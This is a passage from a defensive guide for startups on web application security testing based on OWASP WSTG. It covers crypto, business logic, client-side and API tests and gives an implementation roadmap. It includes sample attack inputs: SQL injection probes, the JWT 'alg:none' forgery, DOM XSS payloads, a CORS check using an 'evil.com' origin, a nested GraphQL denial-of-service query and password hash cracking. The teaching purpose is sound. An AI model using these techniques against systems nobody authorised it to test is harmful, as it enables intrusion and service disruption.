The `'` is likely to cause an SQL error if that parameter is directly used. If you get back something like:

```
ERROR: syntax error at or near "'"
LINE 1: SELECT * FROM products WHERE id='''
```

Then the app is leaking its SQL. As a tester, you'd screenshot or copy that as evidence.

Logging example: If by any chance you see log output in the application (some apps might show a snippet of log on error page), see if any sensitive info is included. Or if you can cause an admin action that sends logs (maybe an admin panel showing logs). Ensure logs do not contain passwords or personal data in plaintext.

The goal is that the application **fails gracefully** – no internal details to the user, and internally it logs what's needed but not secrets. For startups, a common mistake is

leaving the application in *debug mode* during early deployment. Final testing should catch that (the presence of very verbose error pages is a giveaway). This should be turned off for production for performance and security.

Cryptography (Data Protection) Testing

Key vulnerabilities: In web apps, cryptography issues often involve: using outdated or weak SSL/TLS, weak encryption of sensitive data (or no encryption where there should be), poor random number generation for tokens, and issues like padding oracles. Also sending sensitive info over unencrypted channels (e.g., HTTP or email in plaintext). Specifically:

- **TLS/SSL weaknesses:** Using old protocols (SSLv3, TLS 1.0) or weak ciphers (like RC4), missing secure renegotiation, not using HSTS (Strict Transport Security) header (WSTG - Latest | OWASP Foundation). These make the app susceptible to man-in-the-middle attacks.
- **Sensitive data in plaintext:** If the app transmits or stores sensitive info without encryption – e.g., passwords in DB not hashed, or credit card numbers not encrypted in storage, or using HTTP for API calls containing personal data.
- **Weak encryption in code:** Maybe the app uses a hardcoded cryptographic key or a weak cipher for something like encrypting cookies or tokens. Or it might use homegrown crypto algorithms.
- **Known crypto vulnerabilities:** Padding oracle on cipher if using legacy encryption, or not verifying JWT signatures properly, etc.

Manual methods:

- **Test TLS configuration:** Use external tools or browser info to check the certificate and cipher. For example, in a browser, click the lock icon and view certificate details: ensure it's not self-signed (for production) and uses a strong algorithm (SHA-256 or better signature). To see ciphers, you can use OpenSSL:

  ```
  openssl s_client -connect myapp.com:443 -tls1_2
  ```

  This will show the certificate and cipher used. Or use **SSL Labs** by Qualys (just input the domain) which gives a detailed report and grade. If your startup's site scores less than A, note the reasons (maybe no HSTS, or weak cipher allowed).

- **Inspect sensitive data handling:** Ask how passwords are stored – if possible, verify they are hashed (e.g., try to retrieve your own password via forgot password – if the app emails you your actual password, that means it's storing them in plaintext, which is bad). A proper app should only allow resetting password, not sending the original. That's an indirect test of storage encryption.
- If the application provides data exports or downloads, are those encrypted? E.g., does it allow downloading all user data as CSV without any protection? Perhaps not relevant unless dealing with local storage of data.
- **API calls encryption:** If the app uses third-party APIs, ensure keys are used properly (and not exposed on front-end), and that external integrations use HTTPS.
- **Cookie settings:** Ensure `Secure` flag on cookies (already covered in Session) – part of data protection for cookies.
- **Check for mixed content:** If some resources are loaded over HTTP (like images or scripts) while the page is HTTPS, that's not good (browser will often warn). Mixed content can break the security model.
- **Encryption of data at rest:** Harder to verify from outside. But for example, if the app offers to remember your credit card, is it storing it encrypted (likely via a payment gateway)? If you're doing a white-box test, you'd verify database encryption or use of vaults for secrets. As black-box, you might ask or look for signs (like if database dumps or backups leak, would data be plain?).

Automated methods:

- **TLS scanners:** As noted, Qualys SSL Labs is great (online). Locally, `testssl.sh` script or `sslscan` can enumerate protocols and ciphers. **Pros:** Quick identification of any outdated encryption (e.g., supporting TLS 1.0 which is not recommended) (GitHub - 0xRadi/OWASP-Web-Checklist: OWASP Web Application Security Testing Checklist).
- **OWASP ZAP:** Passive rules will alert if HSTS header missing or if forms are submitted over HTTP. Active scan will test for things like secure flag missing, or try SSL stripping if possible.
- **Libraries check:** If you have access to the software bill, check if any crypto libraries are outdated (like an old OpenSSL version with known CVEs).

- **JWT tools:** If JWT is used for session tokens, a tool like **jwt_tool.py** can test if the token is susceptible to trivial attacks (like “alg: none” or using a weak secret that can be brute forced).
    - For example, try the **“none”** algorithm trick: take a JWT, change its header to `{"alg":"none","typ":"JWT"}` and same payload, sign with empty signature, and see if the server accepts it (most libraries won’t, but misconfigured ones might).
    - Try brute forcing a JWT HMAC secret with a tool if you suspect a weak secret (e.g., short secrets).
- **Static analysis for crypto use (if code is available):** Check for hardcoded keys or use of obsolete crypto like DES or MD5 for hashing. But as a black-box tester, you rely on dynamic behavior.

Tools & Pros/Cons:

- *testssl.sh:* **Pros:** Comprehensive TLS test, easy to run anywhere. **Cons:** Only covers TLS, not application-level crypto issues.
- *JWT Tool (jwt_tool or jwt-cracker):* **Pros:** Easy to test JWT vulns, e.g., `jwt_tool <token> -X <url>` can test certain flaws. **Cons:** Only relevant if JWT is in use.
- *Wireshark or proxy:* If you suspect some data might be going unencrypted (like a mobile app counterpart using HTTP), intercept the traffic. For a web app, ensure everything is HTTPS by checking network calls in dev tools. If an HTTP call is seen, mark it.
- *Hashcat/John (for password storage):* If you manage to dump password hashes (through SQLi or another flaw), you can attempt to crack them with Hashcat to assess password strength policy. This is more a post-exploitation step, but part of understanding if the startup’s user passwords are adequately protected (should be salted and using strong hash like bcrypt such that cracking is infeasible).

Code snippet (example): Checking TLS via OpenSSL:

```
openssl s_client -connect myapp.com:443 -tls1_2 < /dev/null
```

Look for `Cipher :` line in output. Or use:

```
openssl s_client -connect myapp.com:443 -ssl3 < /dev/null
```

If that connects successfully (doesn't error out), the server supports SSLv3 which it shouldn't (all modern clients refuse it, but the server should disable it too). Similarly test `-tls1` (TLS 1.0). All should ideally fail except tls1_2 and tls1_3.

Continuous vs Final: In CI, you can incorporate a TLS scanner on each deployment or at least periodically. Also enforce via configuration management that only strong ciphers are enabled (DevOps task). Check that HSTS header is sent (you can have an automated test that hits the site and ensures `Strict-Transport-Security` is present with a long max-age).

Final testing double-checks all those and also things like:

- Ensure backup data is encrypted (maybe out of scope unless you have access).
- If the app uses encryption, try to see if it's done right (for instance, if there is file encryption feature, ensure you can't easily decrypt without key).
- **Padding Oracle test:** If the app uses encrypted cookies or something, you might try a padding oracle attack using a tool (there was an old vulnerability in some ASP.NET apps). If time permits or relevant.

For a typical modern web app, the focus will be on TLS and not sending plaintext data. Many crypto issues are either at the platform level (which you catch with config scanning) or require source code to audit (like misuse of crypto APIs). A startup should use standard libraries, so the main job is verifying they didn't turn off security options (like skipping SSL certificate validation in API calls – one can test that by MITMing the connection with a self-signed cert and seeing if the app accepts it; if yes, then it's not verifying certs properly).

Business Logic Testing

Key vulnerabilities: Business logic vulnerabilities are flaws in the design that allow unintended behavior that is not strictly a "technical" vulnerability in the usual sense. They arise when the application does not properly enforce rules of the business process. Examples:

- Making purchases at negative price or exploiting a discount (as earlier example, using a coupon multiple times or manipulating a price parameter from $100 to $1).
- Skipping steps in a workflow (e.g., checkout without paying, by jumping to a later step).
- Performing actions out-of-order (like applying for a refund before purchase, etc.).

- Exceeding limits (like using an API to create 1000 accounts when the UI limits to 5, or withdrawing more money than you have due to race conditions or logic gaps).
- **Integrity checks bypass:** If the app doesn't verify something that it should. For example, an e-commerce might rely on client-side to calculate total price; if you alter the total in a request, does the server trust it? If yes, that's a logic flaw.
- **Abusing functionality:** For instance, a file upload feature might be meant for images, but if not validated, one could upload scripts or huge files to fill storage (overlaps with input validation and DoS).

WSTG suggests tests like ability to forge requests, circumvent workflows, etc. (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation).

Manual methods: This is largely a creative process:

- **Understand the application logic thoroughly.** What is it supposed to do? Where could there be an assumption that attackers might break? Common approach: map out the business flows (for example: user registration, password reset, purchasing, commenting, etc.) and think "what if" at each step.
- **Try unusual sequences:** e.g., In a multi-step form that creates an object at step 1 and finalizes at step 3, what if you call the finalization twice? Or skip step 2? Does something weird happen like duplicate entries or free stuff?
- **Force edge conditions:** If an app says "only 1 promo code per user," see if you can use two by sending two parameters or two requests. Or, if it says "first 100 users get X", see if you can pretend to be a new user repeatedly (maybe by deleting your account or manipulating a flag).
- **Abuse account linking or references:** For instance, if the app allows linking accounts or some trust between users, can that be tricked? E.g., one logic flaw example: A user sends an invite link with elevated privileges that any user could use if they guess it.
- **Check race conditions:** Some logic issues only appear if actions happen simultaneously. For example, transferring money twice quickly might double credit someone (if the system isn't idempotent). Using two sessions, try to perform the same action at the same time and see if checks can be bypassed (this is advanced and not always possible to test easily, but a known area for financial apps).

- **Combining vulnerabilities:** Sometimes moderate issues combined create a big logic issue. E.g., an IDOR + no proper accounting could let you increment someone else's account balance. Always consider how findings relate to logic.

Automated methods: Very hard to automate logic tests because they require understanding of intended vs unintended behavior. However:

- **Custom scripts** can be used to exploit suspected logic issues to confirm them. For example, if you suspect you can reuse a coupon multiple times, write a script to apply it 5 times and see if it gets discount each time (if yes, logic flaw).
- **Load testing tools** can simulate concurrent actions to reveal race conditions if you configure them specifically (like two threads trying to apply a coupon at same time).
- **Fuzzing state machines:** There is research in modeling workflows and fuzzing them, but not trivial to do without formal models. For a solo tester, this likely means manual with some scripting to assist.

Tools & Pros/Cons:

- *BDD-Security (OWASP):* This is an OWASP project where you write Given-When-Then tests (in JBehave) for security scenarios, which can include logic cases. **Pros:** Bridges dev tests and security tests; **Cons:** Requires writing tests in Java, which might be heavy for a quick assessment.
- *Custom automation with Selenium/Playwright:* You can script a browser to do some multi-step actions quickly or repeatedly. For example, write a small Selenium script to go through checkout process and see if altering something yields a benefit. This is essentially writing your own integration tests for logic.
- *Intruder for logic fuzzing:* Sometimes Burp Intruder can be used to try sequences or flipping a parameter's value from 0 to 1 etc., but logic flaws usually need more context.

Case example: A known real example – an e-commerce allowed negative quantities in a return form, so an attacker discovered they could “return” -5 items which actually credited them money (because returning negative was like buying 5). This kind of bug is pure logic (the system didn’t disallow negative numbers). As a tester, you should try such “silly” inputs (like negative numbers, extreme values, repeating actions).

Continuous vs Final: Continuous testing can hardly automate discovery of new logic flaws, but what you can do is **incorporate tests for previously found logic**

issues so they don't recur. For instance, if you discovered the multiple coupon issue, you can add a unit/integration test that tries it and ensures the system doesn't allow it, to catch regression in the future. Also, engaging devs in threat modeling during design can preempt logic issues (e.g., ask "what if user does X out of order?" and build checks accordingly).

Final testing is where you must think like a cunning user. It helps to use the app like a normal user first, then think how a malicious user could get around rules. It often requires knowledge of the business rules (like knowing that something shouldn't normally happen). Close collaboration with the product team can help identify what is "not supposed to be possible" and then you attempt it.

Because logic bugs are unlimited in creativity, document any abuse cases you try, even if they fail (to show diligence). And highlight ones that succeed as critical issues especially if they lead to financial or data loss impact.

Client-Side Testing

Key vulnerabilities: Client-side testing focuses on the security of the front-end code (JavaScript, HTML) and how it interacts with users and the browser. Notable issues:

- **DOM-based XSS:** The vulnerability originates in client-side scripts. For example, a JS function reads from `document.location.hash` and writes to `innerHTML` without sanitization (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation). This never hits the server, so server-side filters won't catch it.
- **JavaScript execution/context issues:** Malicious scripts included from third-parties or using dangerous sinks like `eval()` on user input can lead to XSS or code injection in the browser.
- **HTML Injection:** Non-script injection that still affects the page, like injecting HTML that could alter the layout or trick users (not as severe as XSS, but can be used for phishing overlays).
- **Open URL Redirects (client-side):** If your JS takes a parameter and does `window.location = param`, an attacker could use it to redirect users to a phishing site (if not validated).
- **Content Spoofing/UI redress:** E.g., manipulating form actions or using CSS injection to change how page looks (like hiding security warnings).
- **CORS misconfigurations:** If the app's scripts make cross-origin requests, check the CORS policy. A misconfigured CORS (like `Access-Control-Allow-`

`Origin: *` with credentials allowed) can let any website's script fetch sensitive data from your app if the user is logged in (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation).

- **Clickjacking:** Though partially server-side (X-Frame-Options or CSP frame-ancestors), it's tested on client side by trying to load the site in an iframe. If it loads and the site is interactive, an attacker could overlay it and trick users to click. WSTG suggests testing for clickjacking (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation).
- **WebSockets and Web Messaging:** If the app uses WebSockets or postMessage between windows, ensure those are secured (not accepting messages from any origin, etc.) (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation).

Manual methods:

- **Review JavaScript:** Open browser developer tools (Sources tab) to view the JavaScript files. Look for uses of `innerHTML`, `document.write`, `eval`, or event handlers that take user input. If you find something like `eval(location.hash.substr(1))`, that's a glaring problem. Even without full code review, search within loaded JS for risky patterns.
- **Test DOM XSS:** Craft URL fragments or inputs to trigger client-side code. For instance, if a page uses `location.hash` to show content, try injection there (like `#<img src=x onerror=alert(1)>`). Use Burp's DOM Invader or manually use the browser console to simulate inputs. If the page has search functionality implemented in JS only, test adding a `<script>` in the search and pressing enter.
- **CORS check:** Inspect network calls in dev tools for any `OPTIONS` requests or `Access-Control-Allow-Origin` responses. If you see `Access-Control-Allow-Origin: *` and `Access-Control-Allow-Credentials: true`, that's a bad combo (it means any site can make requests and get responses including cookies). Test by writing a small HTML page on another domain that tries an XHR to the API – see if it succeeds.
- **Clickjacking test:** Create a simple HTML file on your machine:

  ```
  <iframe src="https://staging.myapp.com" width=500 height=500></iframe>
  ```

  Open it in a browser. Does the content load? If yes, see if you can click buttons through the frame. If the site has framebuster scripts or X-Frame-Options DENY/SAMEORIGIN, the frame either won't load or immediately navigate out.

- **Local storage/session storage:** Check if the app stores sensitive info in the browser storage. For example, some single page apps store JWTs or user data in localStorage. This is okay if handled carefully, but if there's an XSS, that data can be stolen. Note any secrets in client storage; ensure nothing like plaintext passwords or long-term secrets sit there.
- **Service Workers:** If the app uses them, ensure they are used appropriately (scope, not exposing info).
- **Cache directives:** Sensitive pages should send `Cache-Control: no-store` or similar, so that browsers (especially shared ones) don't cache pages like after logout. Hard to test but you can examine response headers or test back button after logout (some apps incorrectly allow viewing cached pages when hitting back after logout).

Automated methods:

- **DOM XSS scanners:** Burp's scanner now has a DOM XSS analysis mode that runs the page in a headless browser and tries to see if payloads execute. **Pros:** Can catch tricky DOM XSS that traditional static analysis of JS might miss; **Cons:** It might have false negatives if the app requires interaction.
- **CORS testing tools:** There's `CORStest` scripts on Python or use Curl:

  ```
  curl -H "Origin: https://evil.com" -I https://api.myapp.com/data
  ```

  Check if the response `Access-Control-Allow-Origin: https://evil.com` or `*`. If the server reflects the Origin or allows all, and if `Access-Control-Allow-Credentials: true`, automated script can flag it.
- **Linting**: If you have source, using ESLint with security plugins can highlight dangerous client-side code (like detect usage of `eval`).
- **PostMessage tester:** If the app uses `window.postMessage`, you can test that by sending crafted messages from an iframe or console to see if the receiver function has any validation.

Tools & Pros/Cons:

- *Burp DOM Invader (extension):* Provides an interface in the browser to identify sources and sinks for DOM XSS. **Pros:** Helps map out DOM data flow; **Cons:** Still requires manual analysis of results.
- *Browser dev tools:* Honestly, the best "tool" here is Chrome/Firefox Developer Tools. **Pros:** You can live edit scripts, set breakpoints, observe runtime values.

For example, set a breakpoint where `innerHTML` is called, see what data flows in.

- *Frame busting test pages:* no specialized tool, but some exist to test clickjacking (like Clickjacking tester websites).
- *CORSy (Burp extension):* Checks for CORS misconfigs.

Code snippet (example): Example of finding a DOM XSS: Suppose you see in a JS file:

```
var search = location.hash.substring(1);
$("#result").html("You searched for: " + search);
```

If you set `location.hash = "<img src=x onerror=alert(1)>"` and trigger that code (like navigating to `/#<img src=x onerror=alert(1)>`), the `.html()` will inject the image tag and the onerror fires an alert. You can test that by just typing that URL in browser or via console:

```
window.location.hash = "<img src=x onerror=alert(1)>";
```

If an alert pops, you have DOM XSS.

Continuous vs Final: For continuous security, you might include a step in CI to run something like **npm audit** (for front-end dependencies with known vulns) and bundlers that remove dev-only debug code. Also a security lint for front-end code to avoid dangerous patterns. CORS configurations can be unit-tested by hitting a dummy cross origin.

Final testing, again, will manually poke at the client side. Sometimes, things like CORS misconfig might not be obvious until you specifically test with an Origin header or cross-domain scenario – final test should catch that. Another example: if the app uses a content security policy (CSP), test its effectiveness. Try an XSS payload; if it doesn't execute, see if CSP blocked it (check console messages). If CSP exists but can be bypassed (maybe it allows `unsafe-inline` scripts or a whitelisted domain that can be tricked), that's noteworthy.

Client-side issues are often less catastrophic than server ones, but they can lead to complete compromise (XSS leads to account takeover). And some, like CORS, can be as bad as server issues if misconfigured.

API Testing

Key vulnerabilities: Many modern startups have APIs (REST/GraphQL) that the web or mobile clients use. The OWASP API Security Top 10 highlights issues like:

- **Broken Object Level Authorization (BOLA):** Same as IDOR – very common in APIs (one user accessing another's data by changing an ID) (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation).
- **Broken Authentication:** APIs that accept weak tokens or no auth on sensitive endpoints.
- **Excessive Data Exposure:** API responses returning more data than necessary (maybe fields that the client doesn't use but are sensitive).
- **Lack of rate limiting:** Allows brute force or DoS by spamming API calls.
- **Mass assignment:** Particularly relevant in APIs – sending JSON with extra fields as mentioned before.
- **Injection in APIs:** JSON or XML inputs might be vulnerable to injection (SQL, NoSQL, XXE if XML, etc.) if the server directly uses them in queries.
- **Improper CORS on APIs:** Already covered – APIs often have CORS issues since they are meant to be called cross-domain by front-end.
- **GraphQL specific:** GraphQL allows querying arbitrary fields; vulnerabilities include enabling introspection in production (reveals schema), or not restricting queries (leading to DoS via expensive nested queries), and of course authentication on each resolver.

Manual methods:

- **API Recon (Documentation):** If there's API documentation (Swagger/OpenAPI, Postman collection, GraphQL schema via introspection), study it. You may find endpoints that aren't used by the web UI (maybe future features or admin endpoints).
- **Test all CRUD operations:** For each endpoint that deals with objects (like `/api/clients/{id}` with GET/PUT/DELETE), test BOLA by using another user's ID. Ensure you get proper authorization error. Tools like Postman or cURL are handy here.
- **Authentication/Token tests:** If using JWT or API keys, check their strength. For JWT, ensure it's properly signed and can't be forged (like we discussed). If using API keys (like in query params), see if they're exposed or guessable.
- **Rate limiting:** Manually, you might script multiple requests in a loop and see when the server starts rejecting (if ever). If you can make dozens of login attempts via API without slowdown or blocking, that's an issue.

- **Parameter tampering:** Just like web, try adding fields in JSON or altering them. E.g., send `"isAdmin": true` in a user create call. Or if an API expects a specific enum, try other values.
- **GraphQL queries:** If GraphQL endpoint is open (`/graphql`), try introspection query (`{ __schema { ... } }`) to see if allowed. If yes, you can see all types and queries – useful info. Then try queries you shouldn't have access to: e.g., if there's a query for `adminUsers` or a mutation to `deleteUser(id: X)`, see if a normal user can call it. GraphQL often relies on the app to enforce auth at resolver level – which can be forgotten.
- **Check for batch or bulk APIs:** If an API allows batch deleting or updating, ensure auth checks each item. Sometimes APIs might allow deletion of multiple items by IDs and only check one permission, letting you delete others.
- **Injections in API context:** For REST, if any parameter is used in DB, test as normal (SQLi, etc.). For GraphQL, test for injections in query (GraphQL queries themselves could be attacked, but more likely injection might come through if the GraphQL resolver concatenates into SQL or such – not common if ORMs used correctly).

Automated methods:

- **Swagger/OpenAPI scanners:** If you have an OpenAPI spec, some tools can automate fuzzing each parameter with common attacks. For instance, **Schemathesis** (Python tool) reads OpenAPI and can generate property-based tests (including boundary values, wrong types, etc.). **Pros:** Systematically tests all endpoints for anomalies; **Cons:** Might not include security payloads unless configured.
- **Postman tests:** You can write test scripts in Postman for each endpoint (like checking response status etc.). While primarily for functional tests, you could encode some security checks (like ensure no PII is present in a response by searching for things that look like SSN pattern).
- **Burp Active Scan on APIs:** If your API is REST, you can feed Burp a list of endpoints (from documentation) and let it scan as if they were web pages (just ensure to include proper authentication tokens in the header). It will try XSS/SQLi in JSON fields too. **Pros:** Leverages known techniques; **Cons:** It might not fully understand JSON vs other encodings without proper configuration.

- **GraphQL specific tools:** E.g., **GraphQLmap** or **InQL** can test GraphQL endpoints (introspection, basic injection, etc.).
- **JWT brute forcing:** Tools like **jwtcrack** to attempt to crack weak signing secrets if you suspect that.

Tools & Pros/Cons:

- *OWASP ZAP (API mode):* ZAP can import OpenAPI definition to generate endpoints and then scan them. **Pros:** Integrates scanning with known attacks; **Cons:** Might generate a lot of requests, some not relevant.
- *Schemathesis:* **Pros:** Great for discovering issues like server 500s due to malformed inputs that devs didn't anticipate (which could hint at vulns). **Cons:** More for robustness than security, but can integrate security checks.
- *Insomnia/Postman:* Useful for organizing and replaying API calls with various parameters. While not a security tool per se, using them to methodically go through each API with different auth levels is key.
- *fuzzers:* For rate limit, a simple script or even `ab` (ApacheBench) can send many requests to see when it breaks.

Continuous vs Final: If you practice "API-first" development, you can include security tests in your API testing pipeline. For instance, have tests to ensure endpoints properly require auth. If using OpenAPI, you can mark which endpoints require auth and maybe use a tool to verify that an unauthenticated request gets 401 for those. Also continuous integration can run tools like Schemathesis as part of test suite to catch exceptions or contract violations.

Final testing will likely reveal more subtle issues. For example, a continuous test might not know that endpoint `/api/exportUsers` should only be admin – but final manual testing might try it as a normal user and find it unprotected if spec was wrong. Also, final test might combine API and web flows (like use an API to do something that the web UI disallows, etc.).

Code snippet (example): Using Python `requests` to test BOLA on an API:

```
import requests

token_user1 = "Bearer eyJhbGciOi..."  # token for user1
token_user2 = "Bearer eyJhbGciOi..."  # token for user2
headers1 = {"Authorization": token_user1}
headers2 = {"Authorization": token_user2}

# User1 creates a resource
```

```
resp = requests.post("https://api.myapp.com/item", json={"name":"TestItem"},
headers=headers1)
item_id = resp.json().get("id")
print("User1 created item:", item_id)

# User2 attempts to access User1's item
resp2 = requests.get(f"https://api.myapp.com/item/{item_id}", headers=headers2)
print("User2 fetching item:", resp2.status_code, resp2.text)
```

If User2 is able to fetch or delete user1's item, that indicates broken object-level authorization. The expected result is 403 Forbidden or 404 Not found for user2.

Testing GraphQL via introspection (using curl or a simple script):

```
curl -X POST -H "Content-Type: application/json" \
 -d '{"query":"{ __schema { types { name } } }"}' https://api.myapp.com/graphql
```

If you get a full schema JSON, introspection is enabled (decide if that's acceptable or not in prod; many disable it in prod). Then you could craft queries based on schema.

GraphQL query abuse: If not rate-limited, try a deep nesting query to test DoS:

```
{
  user(id:1) {
    friends {
      friends {
        friends { name }
      }
    }
  }
}
```

A query like that, if allowed, might load a huge dataset or slow the server (GraphQL servers usually have depth limits).

Finally, verify that error messages from APIs don't leak stack traces or internal data as well, similar to web.

That covers each category in depth, with continuous vs final notes. Remember, many categories overlap (e.g., an "injection" can be seen as input validation or an API issue or an auth issue depending on context), so consider the overall picture. The WSTG categories ensure you systematically cover all angles.

4. Implementation Roadmap

Integrating WSTG-based testing into a startup's development workflow can be approached in stages. Here's a step-by-step implementation plan, along with options for varying security maturity levels:

Stage 0: Preparation and Knowledge Gathering

- **Learn and Train:** Ensure the solo security professional (and ideally developers) are familiar with OWASP WSTG and related resources. Do a quick read of relevant WSTG sections for your tech stack. Also, train developers on common flaws – e.g., run a workshop on OWASP Top 10 to build awareness.
- **Set Objectives:** Define what you want to achieve. For a startup likely: avoid any high-severity vulns in production, build security into CI, and meet any compliance needs (if in fintech, etc., more rigorous).
- **Inventory the Application:** Document the app's components (web frontend, backend API, database, third-party services). This helps focus testing and tool selection. Also identify who can fix what – you'll likely be doing testing and developers doing fixing, so establish communication (reporting) channels.

Stage 1: Baseline Security Integration (for low maturity)

Start with *basic continuous testing integration*:

1. **Integrate Static Analysis in CI:** If code is hosted on GitHub/GitLab, enable code scanning. For example, use GitHub Advanced Security (if available) or run a linter/SAST in pipeline. *Skills needed:* DevOps CI config, knowledge of the language's SAST tool.
2. **Set up OWASP ZAP Baseline in CI:** Add a job in the CI/CD that spins up the app (maybe in a test container) and runs `zap-baseline.py` for 1 minute (ZAP - Baseline Scan). This will passively find obvious issues (e.g., missing headers, XSS in common pages). *Tools:* Docker, basic scripting. Expect to spend a day setting this up and tuning (like excluding certain paths if needed). Ensure this job can fail the pipeline on high-risk findings.
3. **Dependency Checking:** Add OWASP Dependency-Check or `npm audit`/`pip audit` to pipeline to catch known vulnerable libs. *Time:* a few hours to integrate, negligible runtime.

4. **Basic Secrets Detection:** Use a Git secret scanner (like truffleHog or GitHub secret scan) to ensure no credentials are committed. This is often free and easy to enable on repos.
5. **Establish Metrics Tracking:** Even at this baseline, start logging metrics: number of issues found by ZAP each run, etc. Use a simple spreadsheet or integrate with bug tracker. The WSTG suggests tracking trends to see improvement (WSTG - Latest | OWASP Foundation).

At the end of Stage 1, you have fundamental checks in place. This is achievable quickly (say within 1-2 sprints). It addresses common low-hanging fruit, which in a startup might already catch some misconfigurations or a forgotten debug flag.

Stage 2: Expand Automated Coverage (moderate maturity)

Now that basics are in place:

1. **Enhanced DAST in CI:** Configure OWASP ZAP **full scan** on a schedule (nightly/weekly) for deeper scanning. Use the ZAP Automation Framework with a YAML plan to include spider + active scan with rules tuned to your app (How to integrate OWASP ZAP in Gitlab CI/CD pipeline.). Ensure results are reviewed, not just generated.
2. **Add API Testing:** If you have APIs with documentation, run tools like Schemathesis or even Postman tests. For instance, create a Postman collection covering all endpoints and run it in CI with Newman (Postman's command-line runner) to validate responses and auth. This doubles as security and functionality regression.
3. **Include SAST for multiple languages:** If your stack is polyglot (frontend JS, backend Python/Go, etc.), include appropriate static analyzers for each. SonarQube Community can handle multiple languages in one server – consider setting up a SonarQube instance and feeding it code regularly for a more comprehensive static analysis. This requires more time and resource (Sonar server) but improves coverage (e.g., finds SQL injections in code).
4. **Continuous Monitors:** Set up monitoring like OWASP DefectDojo or similar to aggregate findings from different tools in one place. While not strictly necessary, it helps manage results over time. Alternatively, use issue tracker tags (mark security issues and link to builds).
5. **Infrastructure Security in Pipeline:** If your app uses containers or cloud, integrate security checks there too. E.g., run Docker image scanning (for known vulns in base images) and IaC scanning (if using Terraform, etc., use

tools like Checkov). This goes slightly beyond WSTG's webapp focus, but it's part of overall security.

6. **Threat Modeling & Test Requirement Derivation:** At design time for new features, perform a quick threat modeling (even informal). From that, derive security test requirements (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo). For example, if adding a file upload, requirement: "must only accept images and scan them". Then ensure you write tests (manual/auto) for that (upload a PHP shell => expect rejection, etc.). Incorporate these tests either as automated or a checklist for final testing.
7. **Parallel Testing Environment:** Ensure there is a staging environment that closely mirrors prod. This environment should be where automated DAST runs, and where you do manual final testing. Having this isolated environment is crucial so testing doesn't disrupt real users and you can do destructive tests safely (like sqlmap).

By stage 2, your pipeline is catching most technical issues early. This stage might take a few months to fully implement depending on resources, but each increment (ZAP full scan, API tests, etc.) can be done one by one.

Stage 3: Comprehensive WSTG Implementation (high maturity)

This is where you approach full coverage of WSTG with a mix of automation and scheduled manual activities:

1. **Security Test Playbooks:** Develop a playbook for manual testing of the app against each WSTG category. Essentially a checklist (maybe derived from OWASP Testing Checklist (GitHub - tanprathan/OWASP-Testing-Checklist: OWASP based Web Application Security Testing Checklist is an Excel based checklist which helps you to track the status of completed and pending test cases.)) that you will execute before each major release. This ensures systematic coverage. For a solo security person, formalize it so it's repeatable.
2. **Scheduled Penetration Tests:** Aside from your internal efforts, consider bringing in an external pentester or using a crowdsourced platform (bug bounty or Pentest-as-a-Service) once a year or at major milestones. They can validate your approach and find fresh issues. At high maturity, you'll integrate their findings back into your process (e.g., if they found a logic flaw, you add a test for it).

3. **Advanced Tooling:** Possibly integrate IAST (Interactive Application Security Testing) or RASP if appropriate – these can catch issues in running apps with less false positive (though for a startup, may be overkill/costly). IAST tools (like Contrast Security) run inside the app and can pinpoint code where a vulnerability occurs – helpful if available.
4. **Policy and Compliance:** If needed (due to domain), align with standards like OWASP ASVS (Application Security Verification Standard). ASVS provides levels of security requirements. Aim for at least ASVS Level 1 or 2 compliance by mapping WSTG tests to ASVS controls. This can guide you on missing areas (e.g., ASVS might remind to test for account lockout, safe password storage, etc., which you likely did but ensures completeness).
5. **Continuous Improvement:** Regularly update test cases as new threats emerge. OWASP WSTG v5 (dev version) might have new tests – keep an eye and incorporate relevant ones. Also update your tools (ZAP rules, Burp extensions) to handle new vulnerabilities (like if a new XSS vector is found, update scanners).
6. **DevSecOps Culture:** At high maturity, security testing is not just your sole responsibility – developers write security unit tests, QA includes misuse cases, and devs fix issues quickly as part of normal sprints (not as a big separate effort). Foster this by showing metrics (e.g., "we had X vulns, now down to Y because of team effort" (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo)) and by not blaming but collaboratively fixing issues.

Alternate paths for different maturity levels:

- **If team is very immature in security:** Focus first on training and simple tools to avoid overwhelm. Do Stage 1 slowly. Perhaps start with just dependency check and a basic ZAP scan, and gradually introduce more. Emphasize fixing any critical findings from those before adding more tests.
- **If team is somewhat mature (e.g., devs already doing some security):** You can delegate certain tests to them. For instance, devs can write tests for authorization rules (since they know intended logic). You (security) then concentrate on complex testing (like business logic abuse).
- **If automated pipeline is not feasible initially:** If CI integration is hard due to time, at least run tools manually on each release (like manually run ZAP, sqlmap on critical inputs). This is less ideal but better than nothing, and you can script these manual runs to semi-automate.

- **Time/resource estimates:** For a solo tester, automating takes time up front but saves later. Budget a few days to set up each major tool in CI. Manual testing for final stage – set aside 1-2 full days for a thorough test of the app (depending on size) before a release. As the app grows, you might need more time or eventually another security engineer or external help for full coverage.

Required skills & tools summary:

- *Skills:* Web app pentesting, scripting (Python/Bash) to automate tasks, familiarity with CI (Jenkins/GitLab/etc.), understanding of development process (so you can integrate smoothly), communication (to report issues clearly).
- *Tools:* OWASP ZAP, Burp Suite (maybe community for manual), various language-specific SAST tools, DAST scanners, script languages, version control hooks.
- *Resources:* Ideally a staging environment, test user accounts, and support from developers to fix things quickly. Time from developers to implement security fixes and improvements that your testing identifies is also a "resource" to account for – ensure management allocates time in sprints for security fixes.

Roadmap Recap in Phases:

- **Phase 1:** Quick wins – CI/CD basic scans, educate team (couple of weeks).
- **Phase 2:** Improve depth – add more tools, cover APIs, periodic manual checks (next 1-3 months, iterative).
- **Phase 3:** Full program – formalize testing procedure, involve whole team, external audit (ongoing, by 6-12 months you have a robust process).

Remember to “Prioritize your tests” as suggested by an OWASP guide (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo) – you can’t do everything at once. Focus on what matters for your startup (e.g., if you handle payments, focus more on that flow’s security). Gradually expand as you gain more bandwidth or help. This phased approach ensures even with one person, the security posture improves steadily without getting overwhelmed.

5. Case Studies and Examples

